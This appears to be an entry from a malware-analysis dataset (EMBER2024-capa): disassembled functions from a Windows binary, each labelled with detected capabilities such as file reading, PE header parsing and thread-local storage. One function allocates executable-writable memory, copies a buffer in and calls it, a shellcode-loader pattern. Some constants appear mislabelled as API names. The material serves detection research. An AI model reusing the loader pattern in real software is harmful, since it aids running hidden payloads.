joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a2f70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400f54f0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400a2fc7
cmp word [rdx], r13w
jne 0x1400a2fc7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400a2fcc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400a30f1
mov r11d, SafeArrayDestroy
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400a3112
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400a3005
mov rdx, r9
mov word [rbx], cx
jmp 0x1400a302c
cmp r9, r8
jae 0x1400a303c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400a2fe6
jmp 0x1400a30f1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400a30e6
cmp dword [rsp + 0x80], esi
je 0x1400a30e6
lea r8, [0x1400f54f0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400a30be
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400a308e
mov word [rbx], r13w
jmp 0x1400a30ee
mov ecx, SafeArrayDestroy
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400a309b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400a30ee
cmp word [rsp + 0x70], r13w
jne 0x1400a30cb
cmp rbx, r14
je 0x1400a3088
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400a3bd8
cmp word [rsp + 0x70], r13w
je 0x1400a30f1
mov ecx, SafeArrayDestroy
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400f54f0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400a30eb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400a30f1
Function at 0x1400a89e4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14009e904
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400a8a85
cmp ebx, dword [rsp + 0x30]
je 0x1400a8a7e
test esi, esi
je 0x1400a8a7e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400a8a59
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400a8a66
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400a8a43
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400a8a6a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400a8a87
mov eax, 1
jmp 0x1400a8a87
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400a9b18
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400a9b9f
mov rsi, rbx
cmp word [rax], bp
je 0x1400a9b5e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400a9b48
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400a9b44
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14009f348
mov rdi, rax
test rax, rax
je 0x1400a9b8c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400aebc0
mov rbp, rdi
xor ecx, ecx
call fcn.14009f108
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400ade10
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400a3bd8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400a3bd8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400adf60
cmp rax, 0xffffffffffffffff
je 0x1400adf60
xor edi, edi
test rbp, rbp
jle 0x1400adf0b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400a08d4
mov rbx, rax
test rax, rax
jne 0x1400ade98
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400adf01
mov edx, 0x8000
mov ecx, r14d
call fcn.14009e1fc
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400a2328
cmp eax, 0xffffffff
je 0x1400adee1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400adea8
mov edx, r15d
mov ecx, r14d
call fcn.14009e1fc
jmp 0x1400adf01
cmp byte [rsi + 0x38], dil
je 0x1400adef8
cmp dword [rsi + 0x34], 5
jne 0x1400adef8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayDestroy
cmp byte [rsi + 0x30], dil
je 0x1400adf01
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14009f108
jmp 0x1400adf74
jns 0x1400adf74
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400a3bd8
cmp rax, 0xffffffffffffffff
jne 0x1400adf2c
cmp byte [rsi + 0x30], dil
je 0x1400adf74
mov edi, dword [rsi + 0x2c]
jmp 0x1400adf74
mov ecx, r14d
call fcn.1400aa164
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400adf74
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, SafeArrayDestroy
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayDestroy
jmp 0x1400adf74
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400adf6d
mov eax, dword [rsi + 0x2c]
jmp 0x1400adf72
mov eax, SafeArrayUnaccessData
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400a3bd8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400ae6f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400ae718
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400ae718
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400017e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rcx, qword [rsp + 0x60]
call fcn.140003430
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, qword [rsp + 0x38]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140001898
mov rcx, qword [rsp + 0x60]
call fcn.140003430
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400034a0
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x40]
mov r9, rcx
mov rcx, qword [rsp + 0x48]
mov r8, rcx
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
add rsp, 0x58
ret
Function at 0x140002630
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x140002669
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140002757
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x1400026ff
cmp qword [rsp + 0x20], 0
jle 0x1400026ff
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x1400026a9
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140004aa0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rsp + 0x50], 0
jle 0x140002747
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x140002747
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x140002760
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x70], 0
jg 0x140002782
xor eax, eax
jmp 0x14000292b
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x68], 0
je 0x1400027a8
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x14000292b
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x140002841
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140002930
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140004aa0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x80], 0
je 0x14000291b
mov rcx, qword [rsp + 0x60]
call fcn.140003d60
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x1400028e2
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x1400028e0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x14000292b
jmp 0x140002867
cmp qword [rsp + 0x20], 0
jbe 0x14000291b
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x58
ret
Function at 0x140003e20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x68], 0
je 0x140003e4b
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140003e52
mov al, 1
jmp 0x140003f96
call fcn.140004990
mov rcx, qword [rsp + 0xa0]
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rcx
mov edx, eax
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x48]
call qword [rax + 0x18]
mov dword [rsp + 0x38], eax
call fcn.140004990
mov ecx, dword [rsp + 0x38]
mov edx, ecx
mov ecx, eax
call fcn.1400049f0
movzx eax, al
test eax, eax
je 0x140003e9d
xor al, al
jmp 0x140003f96
mov qword [rsp + 0x58], 0x20
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0xa0]
add rcx, 0x74
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x60]
mov rdx, rcx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140003f03
cmp dword [rsp + 0x30], 1
je 0x140003f0f
cmp dword [rsp + 0x30], 3
je 0x140003f84
jmp 0x140003f94
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x140003f5b
mov rax, qword [rsp + 0xa0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x40], rax
je 0x140003f5b
xor al, al
jmp 0x140003f96
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140003f75
mov dword [rsp + 0x34], 1
jmp 0x140003f7d
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x140003f96
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140003f96
xor al, al
add rsp, 0x98
ret

Function at 0x1400075c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000760a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000760a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000760a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000760a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000760a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000760c
xor al, al
add rsp, 0x28
ret
Function at 0x140006784
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1400a10a8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1400a10a4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400067d2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400067ca
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400068b9
inc ebx
add rax, 0x28
jmp 0x1400067aa
mov rcx, r12
call fcn.140006fb1
mov rbp, rax
test rax, rax
jne 0x1400067f1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140006720
movsxd rbx, ebx
mov rax, qword [0x1400a10a8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.14000705f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400a10a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140006853
mov rax, qword [0x1400a10a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140006720
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400068b3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400068b3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400a10a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400068b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140006720
inc dword [0x1400a10a4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140006ce0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x1400a1100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400a10e0]
test rbx, rbx
je 0x140006d2c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140006d26
test eax, eax
jne 0x140006d26
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140006cfe
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140006ee0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140006f03
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140006f03
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140006f04
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140006f3e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140006f35
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140006f40
inc r8d
add rax, 0x28
jmp 0x140006f1c
xor eax, eax
ret
Function at 0x140006fb1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14007b330]
mov r8, rcx
mov rcx, r9
call fcn.140006ee0
test eax, eax
je 0x140006fdd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140006f04
xor eax, eax
add rsp, 0x28
ret
Function at 0x14000f5a3
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x140073148], eax
inc eax
jne 0x14000f5bd
call sub.msvcrt.dll_abort
nop
add rsp, 0x28
ret

Function at 0x14000f731
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
mov rbx, rcx
test rcx, rcx
je 0x14000f7cd
call fcn.14000f32a
dec eax
jne 0x14000f7c6
xor eax, eax
lea rdi, [rsp + 0x25]
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x4d]
mov ecx, 0x43
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x4c]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
mov eax, 0x27
lea rcx, [rsp + 0x25]
cmp byte [rcx + rax], 0
je 0x14000f7a5
inc rax
cmp rax, 0x6b
jne 0x14000f794
jmp 0x14000f7bb
cmp eax, 0x6a
je 0x14000f7bb
movsxd rdx, eax
inc eax
cdqe
mov byte [rsp + rdx + 0x25], 0xa
mov byte [rsp + rax + 0x25], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret

Function at 0x14000f86f
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
call fcn.14000f7d8
mov ecx, dword [0x140073148]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
test rax, rax
jne 0x14000f97e
call fcn.14000f685
cmp qword [0x1400a4048], 0
mov rbx, rax
je 0x14000f97e
test rax, rax
je 0x14000f97e
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.14000f731
xor edx, edx
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbx + 0xb8], edx
mov qword [rbx + 0x28], rcx
call rdi
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rdi
xor r8d, r8d
mov dword [rsp + 0x30], 2
mov rdx, rsi
mov dword [rsp + 0x28], r8d
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x14000f944
call sub.msvcrt.dll_abort
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x140073148]
mov rdx, rbx
mov dword [rbx + 0xc0], eax
xor eax, eax
mov dword [rbx + 0xbc], eax
mov al, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000f93f
mov rsi, rbx
mov rax, rsi
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400104ff
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
call fcn.14000f86f
mov qword [rax + 8], rsi
mov rcx, qword [rax + 0x1d8]
mov rbx, rax
call fcn.14000ffd7
test byte [rbx + 0x40], 0x30
jne 0x140010538
lea rcx, [rbx + 0xd0]
mov edx, 1
call qword [sym.imp.msvcrt.dll_longjmp]
mov ecx, dword [0x140073148]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x1400105c3
cmp qword [rax + 0x28], 0
mov rcx, qword [rax + 0x30]
jne 0x140010573
mov dword [rax], 0xdeadbeef
test rcx, rcx
je 0x140010568
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
mov esi, dword [rbx + 8]
mov qword [rbx + 0x30], rcx
jmp 0x1400105ad
mov dword [rax + 0xbc], 1
mov esi, dword [rax + 8]
test rcx, rcx
je 0x14001058b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov qword [rbx + 0x30], rdx
test byte [rbx + 0x44], 4
je 0x1400105c3
mov dword [rbx], 0xdeadbeef
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov qword [rbx + 0x28], rax
mov rcx, rbx
call fcn.14000f989
mov ecx, dword [0x140073148]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, esi
call qword [sym.imp.msvcrt.dll__endthreadex]
nop

Function at 0x14004e9f0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
mov rcx, rbx
call fcn.14004e860
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbp, eax
inc eax
jne 0x14004ea28
call qword [sym.imp.msvcrt.dll__errno]
cmp dword [rax], 4
je 0x14004ea01
mov rax, rbp
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret